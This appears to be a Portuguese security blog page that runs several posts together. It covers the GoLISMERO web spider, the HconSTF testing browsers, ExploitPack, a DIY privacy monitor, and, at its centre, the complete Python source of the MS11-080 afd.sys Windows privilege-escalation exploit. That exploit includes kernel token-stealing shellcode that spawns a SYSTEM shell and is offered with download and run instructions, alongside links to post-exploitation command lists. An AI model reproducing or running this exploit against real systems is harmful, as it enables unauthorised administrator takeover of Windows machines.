Neo realmente existe!

Aconteceu em um show de talentos, o participante mostra muita técnica na apresentação com a recriação de movimentos do filme The Matrix.

GoLISMERO - Simplificando suas auditorias Webs

O que é GoLISMERO?
GoLISMERO é uma web spider capaz de detectar as vulnerabilidades e os resultados formados, muito útil quando se inicia uma auditoria web.

Para que serve?
GoLISMERO pretende ser um primeiro passo ao iniciar uma auditoria de segurança web.

Características

• Mapear uma aplicação web.
• Mostrar todos os links e params formas como formato confortável.
• Salvar os resultados com alguns formatos: texto, cvs, html, raw(para analisar com bash script) e wfuzz scripts.
• Detectar vulnerabilidades comuns de aplicação web.
• Informações web filtro retendo apenas o que é importante.
• Muitos outros recursos que você pode encontrar muito útil.

Toda vez que enfrentamos uma nova URL, não seria ótimo ter fácil e rápida todos os links, formulários com parâmetros, para detectar possíveis URL vulnerável, além de ser apresentada de forma que nos dá uma idéia de todos os pontos de entrada onde poderíamos lançar ataques? GoLISMERO nos permite fazer tudo isto.
Pagina do autor: http://www.iniqua.com

Aprendendo com exemplos
Abaixo estão alguns exemplos e estudos de caso, que são a melhor maneira de aprender a usar uma ferramenta de segurança.

Ficando todos os links e as formas de uma web, com todos os seus parâmetros, formato estendido:

GoLISMERO.py –t google.com

Mostra todos os links em modo compacto, e colorido as output(saída):
GoLISMERO.py –c –m –t google.com

Mostra apenas os links. Remover css, javascript, imagens e e-mails:
GoLISMERO.py --no-css--no-script --no-images --no-mail –c –A links –m –t google.com

Ou de uma forma reduzida:
GoLISMERO.py –na –c –A links –m –t google.com

Remover apenas os links que têm parâmetros, e siga redirecionamentos(HTTP 302), e os resultados de exportação em HTML:
GoLISMERO.py –c –A links --follow –F html –o results.html –m –t google.com

Gerando sainda em HTML:

Extrair todos os links, procurando URL potencialmente vulneráveis ​​e usar um proxy intermediário para análise. Parâmetros de URLs ou vulneráveis ​​são destacadas em vermelho.
GoLISMERO.py –c –A links --follow -na –x –m –t terra.com

Veja o resultado com o ZAP Proxy:

Baixar: https://code.google.com/p/golismero/downloads/list

HconSTF - Hcon Security Testing Framework [Fire Base & Aqua base]

São duas ótimas ferramentas para profissionais de segurança, modificadas em dois navegadores, no Firefox(fire base) e no Chromium(aqua base).

Hcon Security Testing Framework "Fire Base"

O que ele pode fazer?
A maior parte do HconSTF é semi-automatizado, mas você ainda precisa de seu cérebro para trabalhar com isso.
Ele pode ser usado no desenvolvimento web/depuração(debugging) e todas as fases de testes de segurança de TI, tem ferramentas para
1. coleta de informações
2. Enumeração & Reconnaissance
3. A avaliação da vulnerabilidade
4. exploração
5. Escalação de privilégios
6. Reportagem

Info versão:
Versão atual: 0.3
Tipo: portátil (não precisa instalar, executado a partir de pendrive ou qualquer cartão de memória)
Plataforma: Windows XP, Vista, 7

Termos de uso:
Ao utilizar este software você concordou com os termos de uso deste software
Devido à natureza do software, se for utilizado em qualquer atividade ilegal ou crime cibernético, em seguida, o autor do software ou o site não é responsável em qualquer condição.
você, como usuário deste software é responsável por seus atos.

Baixar: http://www.hcon.in/downloads.html

Hcon Security Testing Framework "Aqua base"

Epecificação:
1. Com base em fonte de Chromium Source (iron build) versão 14
2. mais seguro e rastreamento gratuito do Google Chromium
3. Mais de 100 ferramentas de integração com interface de uso muito fácil
4. sugestões contribuíram fortemente, sendo modificadas por pentesters profissionais, desenvolvedores web, pesquisadores de segurança
5. Livre e de código aberto
6. Totalmente portátil (não precisa instalar), você pode carregá-lo na sua usb cartão de memória, etc,
7. Funciona em todas as janelas incluindo janelas - XP, Vista, 7

neste projeto chrome OS, todos os ícones usados ​​são de propriedade de seus detentores dos direitos autorais.
apenas o logotipo da HconSTF (ícone) é propriedade da Mistry Ashish sob o nome de HCON.

Baixar: http://www.hcon.in/downloads.html

Quer contribuir?
1. Se você é um bom javascript, HTML, XML desenvolvedor
2. designer gráfico
3. se você pode fazer os primeiros testes
4. Se você tiver quaisquer idéias, sugestões para melhorar HconSTF
contate:
http://www.hcon.in/contact-us.html

MS11-080 - Escalação de privilegio no Windows

Esse exploit (MS11-080 – CVE-2011-2005 Afd.sys Privilege Escalation Exploit) explora o fato de que o afd.sys não valida corretamente o user-mod de entrada passando para o kernel-mod.

Uso:
Usage: MS11-080.py -O TARGET_OS

Options:
  -h, --help            show this help message and exit
  -O TARGET_OS, --target-os=TARGET_OS
                        Target OS. Accepted values: XP, 2K3

Exploit escrito em python: http://packetstormsecurity.org/files/107402/ms11-080.txt

################################################################################
######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
#########         Author: ryujin@offsec.com - Matteo Memelli            ########
#########                      Spaghetti & Pwnsauce                     ########
#########              yuck! 0xbaadf00d Elwood@mac&cheese.com           ########
#########                                                               ########
#########      Thx to dookie(lifesaver)2000ca, dijital1 and ronin       ########
#########                        for helping out!                       ########
#########                                                               ########
#########                   To my Master Shifu muts:                    ########
#########           "So that's it, I just need inner peace?" ;)         ########
#########                                                               ########
#########        Exploit tested on the following 32bits systems:        ########
#########       Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng       ########
################################################################################
 
from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
                    c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
                    c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser
 
usage =  "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
                  action="store", dest="target_os",
                  help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
   parser.print_help()
   sys.exit()
OS = OS.upper()
 
kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi
 
def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE
    lpImageBase           = myarray()
    cb                    = c_int(1024)
    lpcbNeeded            = c_long()
    drivername_size       = c_long()
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
    for baseaddy in lpImageBase:
        drivername = c_char_p("\x00"*drivername_size.value)
        if baseaddy:
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy)
                    return (baseaddy, drivername.value)
    return None
 
print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"
 
WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
 
class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]
 
## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
                   None, 0, 0)
if client == ~0:
    raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(4455)
    addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
    ## We need to connect to a closed port, socket state must be CONNECTING
    connect(client, byref(addr), sizeof(addr))
except:
    closesocket(client)
    raise
 
baseadd    = c_int(0x1001)
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff   = ("\x41\x41\x41\x41\x42\x42\x42\x42"
              "\x00\x00\x00\x00\x44\x44\x44\x44"
              "\x01\x00\x00\x00"
              "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                     byref(baseadd),
                                     0x0,
                                     byref(RegionSize),
                                     MEMRES,
                                     PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver     = c_char_p()
lpPath       = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
    HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
    HalpSetSystemInformation   = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
    HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
    HalpSetSystemInformation   = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
 
################################# EXPLOITATION #################################
shellcode_address_dep   = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr      = 0x00020900
if OS == "XP":
    _KPROCESS = "\x44"
    _TOKEN    = "\xc8"
    _UPID     = "\x84"
    _APLINKS  = "\x88"
else:
    _KPROCESS = "\x38"
    _TOKEN    = "\xd8"
    _UPID     = "\x94"
    _APLINKS  = "\x98"
     
restore_ptrs =   "\x31\xc0" + \
                 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
                 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x10"
restore_token =  "\x52"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\x15\x00\x09\x02\x00"             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5a"                                 +\
                 "\xc2\x10"
                  
shellcode         = padding + restore_ptrs + tokenstealing
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger shellcode
inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
 
############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode         = padding + restore_ptrs + restore_token
shellcode_size    = len(shellcode)
trail_padding     = (orig_size - shellcode_size) * "\x00"
shellcode        += trail_padding
shellcode_size   += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"

------------XXX------------

Caso não tenho o python instalado, pode usar uma versão portátil:

http://portablepython.com/wiki/PortablePython2.7.2.1

Ref:

http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/

http://technet.microsoft.com/pt-br/security/bulletin/ms11-080#section1

http://packetstormsecurity.org/files/107402/ms11-080.txt

http://www.exploit-db.com/exploits/18176/ 

http://www.cvedetails.com/microsoft-bulletin/ms11-080/

http://www.sophos.com/support/knowledgebase/article/114315.html

www.aircontrolindustries.com/userfiles/file/ms11-080.pdf

Lista de comandos pós invasão

Lista de comandos a serem executados quando tiverem acesso a uma shell do sistema Linux ou Windows, vai ajudar tanto a iniciantes ha profissionais de penetrations test.

Linux/Unix/BSD Post Exploitation

Windows Post Exploitation

OSX Post Exploitation

Espelho: 
Linux: http://www.4shared.com/file/JRYFK_dQ/LinuxUnixBSDPost-ExploitationC.html
Windows: http://www.4shared.com/file/8zXCnptK/WindowsPost-Exploitation.html
OSX: http://www.4shared.com/file/eQW4_o6G/OSXPost-Exploitation.html
Room362

ExploitPack 1.1 - Framework de Exploits

Exploit Pack é uma ferramenta de segurança open source e vem para preencher uma necessidade, uma estrutura para auxiliar escritores e pesquisadores de segurança, com uma licença GPL e Python como motor de seus módulos. Também é baseado em Java e SWT para cair na real multi-plataforma. Licença GPL é usado para todo o projeto e, assim, garantir que o código será sempre livre.

Exploit Pack tentar garante a preencher as necessidades que um desenvolvedor de exploit ou especialista em segurança tem diariamente. E vai ajudá-lo quando você tem que testar a segurança do seu computador ou servidores.

Microsoft Windows 64

Windows XP, 2003, Vista, 2008 & 7 :
ExploitPack – 1.1 win64.exe – Binary win64
MD5Sum: d922dafa82c7afbf71abd7301aeedbd1

GNU/Linux
Debian, Redhat, Ubuntu 2.6 :
ExploitPack-1.1-i386.tar.gz – Source

 MAC OS X
Mac OS X (10.4, 10.5 and 10.6) :
ExploitPack-1.1-i386.bzip – Source

 Free BSD
FreeBSD 7 & 8 :
ExploitPack-1.1-i386.tar.gz – Source

Hacker cria monitor contra bisbilhoteiros

Com um monitor velho, um óculos 3D e alguma habilidade, você pode construir um monitor cujo conteúdo da tela só pode ser visto por você. O sistema foi desenvolvido para usuários que querem privacidade máxima ao trabalhar no computador, e se destaca por ser um sistema "caseiro" e de baixo custo.
O site Instructables publicou o passo-a-passo da montagem do sistema, incluindo um arquivo em PDF, para incentivar aqueles que querem arriscar a construir um modelo semelhante em casa. O monitor é uma criação do modder dimovi, um engenheiro elétrico que resolveu criar o inusitado produto pelo simples fato que não queria que seus colegas de trabalho tivessem acesso ao conteúdo do seu computador. E como proteções de senha não surtiam mais efeito, ele adotou uma decisão "radical".

Para chegar ao resultado desejado, dimovi utilizou um velho monitor LCD, óculos 3D que são utilizados em cinemas (ou velhos óculos de sol modificados), um diluente (acetona, terebintina, acetato de metila ou acetato de etila), uma máquina de corte a laser (segundo o próprio modder, esse item é dispensável; basta ter uma mão firme e uma boa faca na hora de cortar), uma chave de fenda, uma broca, toalhas de papel e supercola. Ou seja, todos os itens podem ser encontrados com certa facilidade por qualquer pessoa.

O resultado é, no mínimo, muito interessante. Para qualquer pessoa que não está usando o óculos 3D, o monitor exibe uma tela em cinza, como se fosse uma tela inativa, ou desconectada do computador. Porém, para o usuário que estiver com o óculos 3D, todas as informações são exibidas claramente. O resultado é possível basicamente por causa da ação do solvente na tela do monitor, que torna tudo cinza aos olhos dos outros, e da polarização dos óculos 3D com a frequência de exibição do monitor. Confira o vídeo que mostra o projeto em funcionamento.

Via Instructables